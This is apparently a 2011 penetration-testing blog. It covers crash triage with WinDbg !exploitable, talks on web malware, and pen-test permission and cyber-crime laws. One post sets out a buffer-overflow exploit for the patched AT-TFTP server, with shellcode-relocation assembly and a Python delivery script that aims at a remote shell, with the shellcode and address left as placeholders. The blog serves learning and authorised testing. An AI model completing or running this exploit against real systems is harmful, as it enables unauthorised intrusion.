Sunday, 6 February 2011

Assessing buffer-overflows with the WinDbg !exploitable extension

In this post I describe how to use the WinDbg extension !exploitable (pronounced "bang exploitable") to help assess the criticality of crashes and buffer-overflows in Windows applications.

!exploitable is a Microsoft open source project, to help improve application security by providing crash-analysis, estimating the likelihood of whether a crash could be maliciously exploited.

Buffer-overflow crashes are often found using automated fuzzing tools. When fuzzing an application, sometimes many variants of crashes can be found, especially in poorly-written or old code.

!exploitable can help show which particular crashes are most serious in terms of possible exploitation.

Here I test !exploitable on a couple of buffer overflow conditions, which are known to be exploitable, and show the results.


Why is this important?

Clearly it is important for software vendors to quickly assess crash-conditions, and address critical issues in a timely manner.

I feel that is it is also very important that a crash-assessment tool like this is accurate.

!exploitable needs to have low false-negative and false-positive rates so that software vendors can use it to accurately prioritize and triage issues (and fix the most serious first).

If there are false-positives; this could tell the software company that the crash is more serious than it really is, and bump the bug up the priority list when it may be less important than other problems.

False-negatives are possibly more serious; as if the crash is not likely to occur in normal operation, a software vendor may ignore the issue, or not get around to fixing that particular crash for some time. Meanwhile malicious 0-day exploitation of the bug may be possible, which could go undetected in the wild for a long period.


Downloading the tools

Both WinDbg and !exploitable are free and available for download.

Various versions of WinDbg are available here: http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx
(For these tests I chose to use the 6.11.1.404 - March 27, 2009 version as it was small and easy to install)

!exploitable is available for download here: http://msecdbg.codeplex.com/


Installation

First install WinDbg by double-clicking on the *.msi file, and following the prompts.

Register WinDbg as a “post-mortem” debugger by using

C:\Program Files\Debugging Tools for Windows (x86)\windbg -I

You can also disable the crash popups, and set auto-debugging by setting the following registry key to "0":

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto


Installing the !exploitable extension is also a manual process.

Unpack the zip, and copy the files from "exploitable\Binaries\x86" to the target directory (C:\Program Files\Debugging Tools for Windows\winext (x86)\ by default)



Testing crashes for exploitability

WinDbg is not a pretty application, but it is very useful and extensible.

First start the WinDbg application and attach to the process you are debugging.



Then fire-off the crash conditions, get a crash, and WinDbg will show the initial crash details:


(10c4.10cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=004392f8 ecx=0012ff72 edx=00000030 esi=00000037 edi=00443254
eip=0012fa96 esp=0012fa98 ebp=41414141 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010203
0012fa96 867ce919 xchg bh,byte ptr [ecx+ebp*8+19h] ds:0023:0a1d0993=??


You can see here that some of the CPU registers have been overwritten during this crash, for example with 41414141 ("AAAA") which was part of the payload of the proof of concept exploit.

To assess the exploitability of this crash, we can then load the !exploitable module and run the test to see if this crash is likely to be exploitable.


0:000> !load winext\msec.dll
0:000> !exploitable
*** WARNING: Unable to verify checksum for tftpd.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for tftpd.exe -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Exception generated by code running in the Stack starting at Unknown Symbol @ 0x000000000012fa96 called from tftpd!_GetExceptDLLinfo+0x0000000000005eba (Hash=0x610a1635.0x584d0402)

Code execution from the stack is considered exploitable


So, that seems fair enough (I have highlighted the important parts in red).
This was a serious bug that needed to be addressed.

I know that this crash is exploitable. Exploit code is publicly available which provided unauthenticated remote code execution to an attacker.



Another example

Here is another !exploitable example. First the crash:


(1214.1428): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000043 ebx=1034f788 ecx=1034e844 edx=10360000 esi=1034e604 edi=1034e844
eip=77bd32a1 esp=1034e5a4 ebp=1034e5b0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll -
msvcrt!wscanf+0x6c:
77bd32a1 8802 mov byte ptr [edx],al ds:0023:10360000=4d



Then the analysis:


0:017> !load winext\msec.dll
0:017> !exploitable
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\HP OpenView\bin\ov.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\HP OpenView\bin\ovwparser.dll -
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at msvcrt!wscanf+0x000000000000006c (Hash=0x0b367a2f.0x131d5a01)

User mode write access violations that are not near NULL are exploitable.



Again, this is pretty clear in the analysis that this was a high priority bug that needed to be fixed as soon as was practical

This was a much more complex bug to exploit, but again, unauthenticated remote code execution was possible, so a very serious issue which needed to be addressed.



My thoughts

I know that both of these crashes were exploitable, having tested both of them thoroughly in lab environments (and used them to obtain remote code execution).

My initial tests of this tool were useful. I would say that this could be a good tool for software companies, ethical hackers and penetration testers alike.

However, this was a very quick look at the !exploitable tool, and more investigation of this tool would be useful to assess the false-positive rate, and look for any false-negatives, i.e. are there any known buffer overflow exploits that this crash-analysis tool fails to identify as exploitable? and if so why?

Interestingly, it is also possible to run this tool in a batch mode for analyzing lots of crash-dumps at once. More detail in the following link:
http://msecdbg.codeplex.com/Thread/View.aspx?ThreadId=56156

Wednesday, 2 February 2011

Web-based malware and clientside java tampering - interesting presentations

I watched a couple of presentations recently that I found very interesting, so I thought I would share them with you.


How to avoid getting a cap popped in your app

This is an excellent and very comprehensive presentation on drive-by downloads and modern web-based multi-layer malware. I highly recommend to watch this one if you are interested in web security.

The speaker is Dr. Neil Daswani at the 2010 AppSec conference.

Even if you are an experienced in the IT Security field, you can definitely learn something here. Great summaries and interesting concepts all the way through.



The presentation covers
  • The complex layered architecture of web-based attacks
  • Websites as distribution vehicles
  • Risks from embedded third-party resources.
  • Interesting implications for impact of the rich shared functionality used in websites of the modern internet.
I think there will be a significant rise in these types of web-based attacks over the next three years. The level of complexity and modularity in some of these attacks are extreme, and it will be increasingly difficult for defenders to analyze and mitigate these threats.


How to hack client-side Java applets

This is an interesting insight from an experienced penetration tester; both into meeting the challenging demands of customer requirements and the promises of the sales team, and also an interesting way of "disassembling" and debugging a Java applet, for parameter tampering attacks.



This is a reminder, that irrespective of how obscure, and "protected" a client-side application is, you cannot trust the data that comes from the client.

Everything on the client-side can be compromised, even data from a Java virtual machine submitted with a custom-built protocol.

Tuesday, 1 February 2011

Using cut'n'shut shellcode to expand available exploit code space

Recently I have been studying and researching buffer overflows with custom-built shellcode.

I've tried out various advanced techniques, such as partial EIP overwrites (to avoid Windows ASLR), egghunters, encoding/decoding, island hopping, SEH overwrites, and AV-avoidance.

I thought I would try something inventive yesterday - I call it Cut'n'shut shellcode ;o)

As a test example, I used a old exploit AT-TFTP-D (long-since patched) that only gave 222 bytes of code execution on a Windows Server. 222 bytes is not generally enough space for arbitrary code execution such as an encoded reverse-shell back to the attacker.

So I thought to myself, "How can I make the available space bigger just using the TFTP server?", and came up with an interesting solution.

As usual, I recommend that you should only test these techniques on systems where you have express permission.


More detail

To cut a long story short, I found that there was some filtering in the application, which meant that packets above a certain size would be ignored and would not crash the TFTP server.

Interestingly, data from these packets was still stored in an accessible memory location, so when the crafted packet was send to crash the application with a buffer overflow, and take control of code execution, there is the potential to have two payloads in memory.

This means that an attacker can place two pieces of code in memory one of 222 bytes, and one of around 250 bytes.

Neither of these are particularly useful on their own, but when bolted together it would be 470+ bytes, which is usually plenty of space to get a remote command shell working.


The basic structure

There was a bit of assembly language acrobatics to do, to get this to work.

Firstly, the only accessible area to initially jump to (using JMP ESP at a known location) was only 7 bytes long, so I put in a near jump there, to jump back around 250 bytes to our first main area of 222 bytes.


Luckily one of the registers (EDI) points to a known location within the other piece of attacker controlled memory, so I wrote a short piece of shellcode at the start of the first 222 byte buffer, to copy all of the code in this area, to another area in memory, to seamlessly meet the other code, fusing together the two pieces of code in a contiguous block.


To move shellcode1

Here is the code relocation code (Cut'n'shut code):

FC     CLD           ; Clear the directional flag
83EF60 SUB EDI,60    ; Point EDI to where we will put
83EF59 SUB EDI,59    ;  the first half of the shellcode
8BF4   MOV ESI,ESP   ; Point ESI to the source of the
83EE60 SUB ESI,60    ;  first half of the shellcode
83EE6C SUB ESI,6C    ;
33C9   XOR ECX,ECX   ; Zero ECX (without using any zeros)
B1C8   MOV CL,0C8    ; Put 0xC8 in ECX (again, without zeros used)
F3A4   REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> ; Copy all the code across
83EF60 SUB EDI,60    ; Point EDI to the start of our new code
83EF60 SUB EDI,60    ;
FFE7   JMP EDI       ; Jump to the new location in memory
90     NOP


Notice that in this piece of code I used a couple of techniques to avoid using the "\x00" byte. This is a "bad character" for this protocol, and would break the exploit (luckily there are not many bad-chars for this particular exploit which made writing the shellcode easier).

This means that a block of up to 450 bytes of self-decoding shellcode could then be used for the main payload, connecting back to our attacking system and providing a command shell.


Editing and running new opcodes on the fly

One of the most useful techniques I used while using Ollydbg to extend this exploit, was to write and run assembly language changes on the fly, instruction by instruction.

To do this, you set a breakpoint to stop execution and your initial jump instruction, then make sure your marker is in the right place, hit space, and you can then enter the assembly instructions, and run them as you go.

This means you can make quick changes, while debugging, to get very fine control over the state of the registers, memory and stack, to map out your proof of concept, and get it working.

Changes get highlighted in red, and you can then cut and paste the machine code opcodes, into the shellcode in your payload delivery program, to make a more permanent and reusable exploit, that works independently of the target system.


The final package

In my tests, running this simple python script below worked very well. Basically it causes two small packets to be sent to the target system. The "Second" payload gets delivered first, but executed second (if you know what I mean).

The first payload runs, copying itself to meet the second payload, unpacking the final combined payload which then compromises the system by giving a command shell back to the attacker.

All in all, this was a pretty complex hack, and took me a whole day to put together, troubleshoot, and get working. I missed out a lot of steps here to get the general idea across briefly. 

I have removed the shellcode from the example below for brevity (and also to confound the script-kiddies out there)

If you know what you are doing, I am sure you can fill in the blanks with some shellcode from Metasploit, and relevant JMP ESP addresses for the target platform.

#!/usr/bin/python

import socket, sys, struct, time

host = sys.argv[1]
textport = sys.argv[2]

mode = "netascii"

# Cut'n'shut code
#FC CLD
#83EF60 SUB EDI,60
#83EF59 SUB EDI,59
#8BF4 MOV ESI,ESP
#83EE60 SUB ESI,60
#83EE6C SUB ESI,6C
#33C9 XOR ECX,ECX
#B1C8 MOV CL,0C8
#F3A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
#83EF60 SUB EDI,60
#83EF60 SUB EDI,60
#FFE7 JMP EDI
#90 NOP

cutnshut = ("\xFC\x83\xEF\x60\x83\xEF\x59\x8B\xF4" +
"\x83\xEE\x60\x83\xEE\x6C\x33\xC9\xB1\xc8\xf3\xA4" +
"\x83\xEF\x60\x83\xEF\x60\xFF\xE7\x90")

# Make your own shellcode. You will need to avoid badchars (at least "\x00")

# First 193 bytes of shellcode goes here
payload1 = ("insert here")

# Find a JMP ESP address


eip = "insert jmp esp address"

# Where ESP is pointing put a backwards relative jump to start of the code

jumpback = "\xE9\x19\xff\xff\xff" + "\xCC" * 2

frontend = "\x00\x02" + cutnshut + payload1 + eip + jumpback + "\x00" + mode + "\x00"

# Insert the rest of shellcode here

rearend = ("A" * 251 + "insert here")

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
port = int(textport)
s.connect((host, port))
s.sendall(rearend)
s.shutdown(1)

time.sleep(1)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
port = int(textport)
s.connect((host, port))
s.sendall(frontend)
s.shutdown(1)

print "BADOOOOF!!\n\n"

Wednesday, 26 January 2011

Penetration testing: Permission, ownership and "hacking laws" overview

When performing a penetration test it is very important to have permission from the parties involved, which may include third parties if a company has outsourced or managed services as part of it's IT infrastructure.

In recent times, outsourcing, managed services, cloud-computing and the global nature of IT infrastructure, combined with new legislation in various countries have added complexity to penetration testing.

This has made it increasingly important for pen-testers to have a very clear understanding of who owns the systems they are targeting, and infrastructure between the testing systems and the targets (which may be affected by testing).

This blog is a brief overview of things to watch out for with the permission and legality of tests. I also outline various laws relating to computer crime in several key countries.


Written permission

Written permission is the most important prerequisite before starting a penetration test. This is very important even in an internal penetration test, performed by internal staff, because testing may affect system performance, and raise confidentiality and integrity issues.

The system owner, or decision-maker must agree to put the scope of the tests in writing. If there are any doubts during the test, this may need to be clarified and amended with more detail.

A testers written permission document is their "get out of jail free card", but it is not above the law. Sometimes it is unclear who owns systems and infrastructure (even to the client themselves). If in doubt get clarification.



Discovering new systems

During the test, you may come across additional infrastructure and systems where you are not sure who owns them, or whether you have permission to proceed. It is very important that your tests do not impact third parties, either directly or indirectly. Reconfirm individual systems with the client as you go, to make sure they know who owns the systems, and that they are within the permission and agreed scope of the test.


External penetration tests across the internet

If you are performing penetration tests across the internet, you will likely need to notify relevant ISPs, primarily yours and your customers.

This is important for various reasons, including legal and informational, but also technical reasons.

There could be many reasons why intervening infrastructure is adversely affected by tests that you run, such as system/port scanners, and vulnerability assessment tools. The last thing you want is to get sued for affecting a third party.

It may be that one of these ISPs is actually filtering some ports and threats transparently, which could mean that some tests you run are invalid. If you are testing for threats, and either your ISP or your customers ISP is filtering your tests, then you may be missing threats that are there, that perhaps may be accessible from other locations or in other ways.

During your tests, your IP addresses may get reactively blocked or blacklisted, which again could invalidate any further tests, such that real threats are missed.

An alternative, to avoid some of the risks with Internet-based testing, is to connect the testing systems directly to the external router of the client, or have the client give the tester some form of VPN or SSH tunnel to a system in that location.


Laws to consider

In addition to permission and technical issues, it is very important to have a clear understanding of the law, especially when more than one country is involved.

As you know, ignorance of the law does not stand up very well in court, so here is a (very) brief overview of relevant laws in several countries. I am not a lawyer, so for further detail please consult with your legal counsel. This is by no means a comprehensive list, and will only give you a flavor of what is out there.


Cyber crime laws in the UK
  • Computer Misuse Act (of 1990, updated 2008)
    • Prohibits deliberate unauthorized access
      • Additionally covers issues such as modification of content, blocking access, impairing operation and facilitating others to do any of the above
      • Fines and prison terms of up to 2 years
    • Recently updated to cover Denial of service
      • Up to 10 years in prison
    • Prohibits distribution of hacking tools for criminal purposes
      • Makes possession of hacking/security tools illegal where criminal intent can be established

Cyber crime laws in the US

These are probably the strictest, most comprehensive (and complex) in the world and include:
  • Title 18 (Criminal code) Sections
    • Section 1029
      • Prohibits Fraud in relation to access devices, account numbers, passwords, credit cards etc.
    • Section 1030
      • Prohibits unauthorized computer access for government, financial and commerce systems
    • Section 1362
      • Prohibits injury or destruction of communications equipment
    • Section 2510
      • Prohibits unauthorized interception of traffic (Clauses to enable service providers to monitor, and procedures for law enforcement to gain access)
    • Section 2701
      • Prohibits access to stored information without permission of owner (again, exceptions for service providers)

  • Cyber Security Enhancement Act (2002)
    • Covers attacks which recklessly causes or attempts to cause death
    • Severe penalties including possible life in prison


Cyber crime laws in Germany
  • Penal Code Section 202a (Data espionage)
    • Prohibits obtaining data without authorization, where it was specially protected against unauthorized access
    • Up to three years in prison
  • 202c (Anti-Hacking Law)
    • Prohibits creating, possessing or distributing tools used for computer attacks
  • 303a and 303b
    • Prohibits alteration and deletion of data and interference with data processing
  • Up to 5 years in jail or a fine

Cyber crime laws in Japan
  • Law 128 (1999) Unauthorized Computer Access Law
    • Prohibits unauthorized access by
      • Stealing access codes or bypassing access controls
    • Fines and up to one year in prison



Other countries

Obviously there are a lot more countries than this. Some have no computer laws, but many have similar laws.

Enforcement can be very variable in some countries. Even where no specific computer laws are in place computer crimes can often be dealt with using existing laws such as fraud, theft, criminal damage etc.


Mitigations

  • Make sure that security testers have permission in writing
  • Consider the ownership of all systems which may be affected by the test
  • Testers should be aware of the law and be in contact with legal council (in advance)
  • Testers should consult legal council regarding specific laws in all countries where systems may be accessed as part of the test